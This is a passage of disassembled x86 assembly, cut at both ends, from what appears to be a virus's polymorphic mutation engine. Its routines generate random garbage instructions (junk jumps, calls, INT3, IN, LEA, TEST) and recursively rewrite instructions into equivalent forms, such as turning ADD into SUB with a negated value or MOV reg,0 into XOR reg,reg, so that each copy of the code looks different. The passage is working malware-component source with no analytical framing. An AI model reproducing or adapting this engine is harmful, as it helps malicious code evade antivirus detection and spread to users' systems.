ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0Fh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov al, 90h ; SETcc and dl, 0Fh add al, dl call _Store_Instruction_Byte mov al, ch or al, 0C0h jmp loc_0_1714 Generate_Garbage_SETcc endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_LEA proc near mov cl, 4 call _Garbage_Choose_Register movzx si, ch mov cl, 1 call _getRND_Target ; random displacement with index test edi, 0FFFF0000h jnz loc_0_17DF ; jump if not register call _getRND_in_DX and dx, 7 or dh, 1 shl edx, 10h call _getRND_in_DX ; random memory displacement mov edi, edx loc_0_17DF: ; LEA mov al, 8Dh loc_0_17E1: jmp short loc_0_178A Generate_Garbage_LEA endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_MOVZX_MOVSX proc near mov cl, 2 call _Garbage_Choose_Register movzx si, ch mov cl, 1 ; CL = size of source cmp dl, 37h jb loc_0_17FF call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 66h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov cl, dl and cl, 1 inc cl ; CL = size of source loc_0_17FF: call _getRND_Target call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0Fh ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov al, 0B6h ; MOVZX and dh, 1 jz loc_0_1811 mov al, 0BEh ; MOVSX loc_0_1811: ; add one according to its size call _Size_8_16 jmp short loc_0_17E1 Generate_Garbage_MOVZX_MOVSX endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_TEST proc near call _getRND_OperandSize call _Add_Needed_Prefix_66 cmp dl, 55h jnb loc_0_1835 call _getRND_Target mov si, dx and si, 7 mov al, 84h ; TEST reg, reg/mem call _Size_8_16 ; add one according to its size jmp short loc_0_17E1 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1835: cmp dl, 0AAh jnb loc_0_185F call _getRND_Target xor si, si mov al, 0F6h ; TEST reg/mem, imm call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte call _Generate_ModRM loc_0_184E: mov ch, 0 loc_0_1850: call _getRND_in_DX mov al, dl call _Store_Instruction_Byte ; store immediate loop loc_0_1850 jmp loc_0_1694 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_185F: ; TEST EAX, imm mov al, 0A8h call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte jmp short loc_0_184E Generate_Garbage_TEST endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Table_Garbage_1byte db 0F8h ; CLC db 0F5h ; CMC db 0F9h ; STC db 90h ; NOP db 9Bh ; WAIT db 9Eh ; SAHF ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_1byte proc near imul edx, 6 shr edx, 10h ; EDX=0..5 mov bx, dx mov al, Table_Garbage_1byte[bx] jmp loc_0_1690 Generate_Garbage_1byte endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_Jcc proc near mov al, 0EBh ; JMP cmp dl, 20h jb loc_0_18A7 and dh, 0Fh mov al, 70h ; Jcc add al, dh cmp dl, 40h ja loc_0_18A7 mov al, 0E0h ; LOOPNZ/LOOZ/LOOP/JCXZ and dh, 3 add al, dh cmp al, 0E3h jz loc_0_18A7 mov cx, 102h ; register CX call _Garbage_Check_Register ; (make sure we can modify it) loc_0_18A7: call _Store_Instruction_Byte call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Copy_Instruction mov di, Instruction_Offset call _getRND_in_DX and dx, 3 mov cx, dx call _getRND_in_DX and dx, 3 add cx, dx inc cx ; CX = 1..7 loc_0_18CB: call _Generate_4times_Garbage mov ax, Instruction_Offset sub ax, di cmp ax, 7Fh ja loc_0_18DF ; too far... leave previously fixed jump mov es:[di-1], al ; fix jump loop loc_0_18CB loc_0_18DF: ; add some more garbage (after target of jump) call Do_Garbage loc_0_18E2: jmp loc_0_1763 Generate_Garbage_Jcc endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_Shift proc near call _getRND_OperandSize call _Garbage_Choose_Register movzx edi, ch ; EDI = target call _getRND_in_DX mov bx, dx and bh, 7 ; operation test dl, 80h jnb loc_0_1904 ; use CL register for shift operation call Do_SHIFT jmp short loc_0_18E2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1904: call Do_SHIFT_CL jmp short loc_0_18E2 Generate_Garbage_Shift endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_CALL proc near cmp Return_Offset, 0FFFFh jnz loc_0_18E2 call Do_CALL2 ; generate CALL call _getRND_in_DX and dx, 3 mov cx, dx call _getRND_in_DX and dx, 3 add cx, dx inc cx ; CX = 1..7 loc_0_1927: ; fill it with garbage call _Generate_4times_Garbage loop loc_0_1927 call Check_CALL ; restore execution point jmp short loc_0_18E2 Generate_Garbage_CALL endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_MOVSEG proc near mov cl, 2 call _Garbage_Choose_Register movzx edi, ch and dx, 7 mov si, dx ; select segment register cmp dl, 6 jb loc_0_194F call _getRND_in_DX and dx, 3 mov si, dx loc_0_194F: call Do_MOV_mem_seg loc_0_1952: jmp short loc_0_18E2 Generate_Garbage_MOVSEG endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_JMP_32bit proc near push offset Garbage_Exit2 mov al, 0E9h ; JMP Generate_Garbage_JMP_32bit endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_JMP_CALL_32bit proc near call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 66h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Store_Instruction_Byte call _Store_Instruction_Byte call _Store_Instruction_Byte call _Store_Instruction_Byte call _Store_Instruction_Byte call _Copy_Instruction mov cx, 4 call _Allocate_Code_Space xchg ax, dx mov si, ax xchg si, Instruction_Offset sub ax, si cwde mov es:[si-4], eax ; fix jump retn Generate_Garbage_JMP_CALL_32bit endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_CALL_32bit proc near mov al, 0E8h ; CALL call Generate_Garbage_JMP_CALL_32bit mov cl, 4 loc_0_1995: ; restore stack call Add_Stack loc_0_1998: jmp short loc_0_1952 Generate_Garbage_CALL_32bit endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_PUSHF_PUSH proc near mov cl, 2 cmp dl, 10h jnb loc_0_19A3 mov cl, 4 loc_0_19A3: mov di, dx and edi, 3 cmp dh, 10h jnb loc_0_19B2 call _getRND_Target loc_0_19B2: test dh, 0Fh jnz loc_0_19C6 call _Add_Needed_Prefix_66 call _Store_Instruction_Byte2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 9Ch ; PUSHF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ call _Copy_Instruction jmp short loc_0_1995 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_19C6: call Do_PUSH jmp short loc_0_1995 Generate_Garbage_PUSHF_PUSH endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_MUL_IMUL proc near mov cx, 4 ; register EAX call _Garbage_Check_Register call _getRND_OperandSize cmp cl, 1 jz loc_0_19E1 mov ch, 2 ; register DX/EDX call _Garbage_Check_Register loc_0_19E1: call _getRND_Target mov si, dx and si, 1 or si, 4 ; MUL/IMUL call _Add_Needed_Prefix_66 mov al, 0F6h call _Size_8_16 ; add one according to its size jmp loc_0_178A Generate_Garbage_MUL_IMUL endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_SETALC proc near mov cx, 4 ; register EAX mov al, 0D6h ; SETALC jmp loc_0_168C Generate_Garbage_SETALC endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_XCHG proc near mov cx, 2 ; register AX call _Garbage_Check_Register call _Garbage_Choose_Register or ch, ch jz loc_0_163E mov al, ch add al, 90h ; XCHG AX,reg16 loc_0_1A17: jmp loc_0_1690 Generate_Garbage_XCHG endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_INT3 proc near mov al, 0CCh jmp short loc_0_1A17 Generate_Garbage_INT3 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_INT1 proc near mov al, 0F1h jmp short loc_0_1A17 Generate_Garbage_INT1 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_IN proc near call _getRND_OperandSize mov ch, 0 ; register AL/AX/EAX call _Garbage_Check_Register mov al, 0E4h call _Size_8_16 ; add one according to its size call _Store_Instruction_Byte mov al, dl ; random port jmp short loc_0_1A17 Generate_Garbage_IN endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Generate_Garbage_MoreGarbage proc near call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage call _Generate_4times_Garbage jmp loc_0_1998 Generate_Garbage_MoreGarbage endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_MOV proc near push bx push cx push dx push esi ; ESI = source push edi ; EDI = target call _getRND_in_DX cmp dh, 20h jb loc_0_1A7E cmp dh, 40h jnb loc_0_1A70 cmp Dont_Use_Exchange_For_MOV_operation, 0 jnz loc_0_1A70 call _Do_XCHG2 ; exchange operands jmp loc_0_1AFE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1A70: cmp esi, 8 jb loc_0_1ADF cmp edi, 8 mov bl, 2 jb loc_0_1AF0 loc_0_1A7E: cmp cl, 1 jz loc_0_1A91 ; jump if OperandSize=1 xchg edi, esi call Do_PUSH ; PUSH source mov edi, esi call Do_POP ; POP target jmp short loc_0_1AFE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1A91: ; CH = auxiliar register call getRND_Reg cmp edi, 8 jnb loc_0_1AAA mov dx, di ; DX = target operand xor dl, ch and dl, 3 xor dl, ch cmp dl, ch jnz loc_0_1AAA ; jump if both byte registers are owned by different word registers xor ch, 7 ; select another one loc_0_1AAA: ; EDI = target push edi movzx edi, ch and di, 3 ; EDI = auxiliar register mov cl, 2 ; word call Do_PUSH ; PUSH auxiliar mov edi, esi ; EDI = source movzx esi, ch ; ESI = auxiliar (target operand) mov cl, 1 mov bl, 2 mov bh, 0FFh ; operation = MOV call _Do_Instruction2 pop edi ; EDI = target mov bl, 0 ; ESI = auxiliar (source operand) call _Do_Instruction2 movzx edi, ch and di, 3 mov cl, 2 call Do_POP ; POP auxiliar jmp short loc_0_1AFE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1ADF: mov bl, 0 cmp edi, 8 jnb loc_0_1AF0 call _getRND_in_DX ; (if both are registers, choose direction) mov bl, dh and bl, 2 ; choose direction of move loc_0_1AF0: cmp bl, 2 jnz loc_0_1AF8 xchg edi, esi ; BL=2 means ESI would be target operand ; thats why they are exchanged so ESI will remain source loc_0_1AF8: ; operation = MOV mov bh, 0FFh call _Do_Instruction2 loc_0_1AFE: pop edi pop esi pop dx pop cx pop bx retn Do_MOV endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_Instruction3 proc near cmp SaveFlags, 0FFh jz Do_Instruction2 ; jump if segment prefix has already been stored cmp bl, 4 jb Do_Instruction2 ; jump if not immediate push dx call _getRND_in_DX pop dx jns Do_Instruction2 cmp bh, 7 ; (CMP) jz @@2 cmp SaveFlags, 0 jnz Do_Instruction2 ; dont touch cpu flags push dx call _getRND_in_DX cmp dh, 60h pop dx jb @@9 cmp bh, 0FFh jz @@4 cmp bh, 5 ; (SUB) jz @@1 cmp bh, 0 ; (ADD) jnz Do_Instruction2 mov bh, 5 ; ADD-->SUB neg esi call _Do_Instruction2 neg esi ; restore info about original instruction mov bh, 0 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@1: ; SUB-->ADD mov bh, 0 neg esi call _Do_Instruction2 neg esi ; restore info about original instruction mov bh, 5 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@2: or esi, esi jnz Do_Instruction2 test edi, 0FFFF0000h jnz Do_Instruction2 ; skip if not CMP reg,0 mov esi, edi mov bl, 2 mov bh, 1 ; OR reg,reg push dx call _getRND_in_DX pop dx jns @@3 mov bh, 4 ; AND reg,reg @@3: call _Do_Instruction2 xor esi, esi ; restore info about original instruction mov bl, 4 mov bh, 7 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@4: or esi, esi jnz @@7 ; jump if not MOV reg/mem,0 test edi, 0FFFF0000h jnz @@6 ; jump if not MOV reg,0 push dx call _getRND_in_DX cmp dh, 40h pop dx jb @@6 mov esi, edi mov bl, 2 mov bh, 6 ; XOR reg,reg push dx call _getRND_in_DX pop dx jns @@5 mov bh, 5 ; SUB reg,reg @@5: call _Do_Instruction2 xor esi, esi ; restore info about original instruction mov bl, 4 mov bh, 0FFh retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@6: ; AND reg/mem,0 mov bh, 4 call _Do_Instruction5 mov bh, 0FFh ; restore info about original instruction retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@7: cmp esi, 0FFFFFFFFh jnz Do_Instruction2 ; skip if not MOV reg,-1 mov bh, 1 ; OR reg,-1 call _Do_Instruction5 mov bh, 0FFh ; restore info about original instruction retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@8: popad nop jmp Do_Instruction2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@9: pushad mov ch, 0 cmp bh, 0 ; (ADD) jz @@20 cmp bh, 5 ; (SUB) jz @@20 cmp bh, 2 ; (ADC) jz @@20 cmp bh, 3 ; (SBB) jz @@20 cmp bh, 7 ; (CMP) jz @@8 test edi, 0FFFF0000h jz @@14 ; MOV/OR/AND/XOR reg,imm cmp cl, 1 jz @@8 shr cl, 1 ; divide operand in half call _getRND_in_DX jns @@10 call _Do_Instruction5 ; do first partial operation @@10: shl cl, 3 ror esi, cl ; use remaining part of immediate shr cl, 3 add di, cx ; use remaining part of memory call _Do_Instruction5 ; do second partial operation or dx, dx jns @@12 ; do first part if it wasnt done @@11: popad nop retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@12: popad nop pushad shr cl, 1 @@13: ; do first partial operation call _Do_Instruction2 jmp short @@11 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@14: cmp cl, 1 jz @@17 cmp cl, 4 jz @@8 cmp di, 4 jnb @@16 call _getRND_in_DX jns @@16 mov cl, 1 ; split MOV in two MOVs and dx, 4 xor di, dx ; select low or high cmp di, 4 jb @@15 ; first low byte register rol si, 8 @@15: ; operation reg8,imm8 call _Do_Instruction2 rol si, 8 xor di, 4 call _Generate_4times_Garbage call _Do_Instruction2 ; operation reg8,imm8 jmp short @@11 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@16: cmp Dont_Extend_Immediate, 0 jnz @@8 mov cl, 4 ; use DWORD instead!!! call _getRND_in_DX rol esi, 10h mov si, dx rol esi, 10h ; insert random immediate in high WORD jmp short @@13 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@17: ; DX=DI mov dx, di mov ch, dl xor ch, 4 call _IsRegUsed ; check opposite byte register cmp al, 0 jnz @@8 ; skip if its already used xor eax, eax mov al, 0FFh cmp dl, 4 jb @@18 mov al, 1 call _setRegUsed mov ax, 0FF00h shl si, 8 @@18: and esi, eax call _getRND_in_EDX not eax and edx, eax or esi, edx ; insert random immediate and di, 3 mov cl, 2 ; use WORD instead!!! call _getRND_in_DX cmp dh, 50h jnb @@19 mov cl, 4 ; use DWORD instead!!! @@19: call _Do_Instruction2 mov cl, 1 mov al, 0 call _setRegUsed ; free opposite byte register jmp @@11 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@20: test edi, 0FFFF0000h jnz @@8 ; skip if not register cmp cl, 4 jz @@8 ; skip if it is already DWORD cmp cl, 2 jz @@16 cmp di, 4 ; only if low byte of WORD register jb @@17 jmp @@8 Do_Instruction3 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_Instruction5 proc near dec Mutation_Level jz @@1 push ax push cx push dx mov ax, 0FFFFh mov cl, 5 sub cl, Mutation_Level shr cl, 1 shr ax, cl call _getRND_in_DX cmp dx, ax ; the smaller, the more chance to exit pop dx pop cx pop ax ja @@1 call Do_Instruction4 ; (may be recursive) jmp short @@2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ @@1: call Do_Instruction2 @@2: inc Mutation_Level retn Do_Instruction5 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Do_Instruction4 proc near call _Generate_4times_Garbage cmp SaveFlags, 0 jnz Do_Instruction3 push dx push ax call _getRND_in_DX mov ax, D_CS_I cmp cl, 4 jnz @@1 cmp bl, 4 jb @@1 neg ax shr ax, 2 neg ax @@1: cmp dx, ax pop ax pop dx jnb Do_Instruction3 cmp bh, 0FFh jnz loc_0_1D8B ; jump if not MOV push dx call _getRND_in_DX cmp dh, 60h pop dx jb loc_0_1FFE 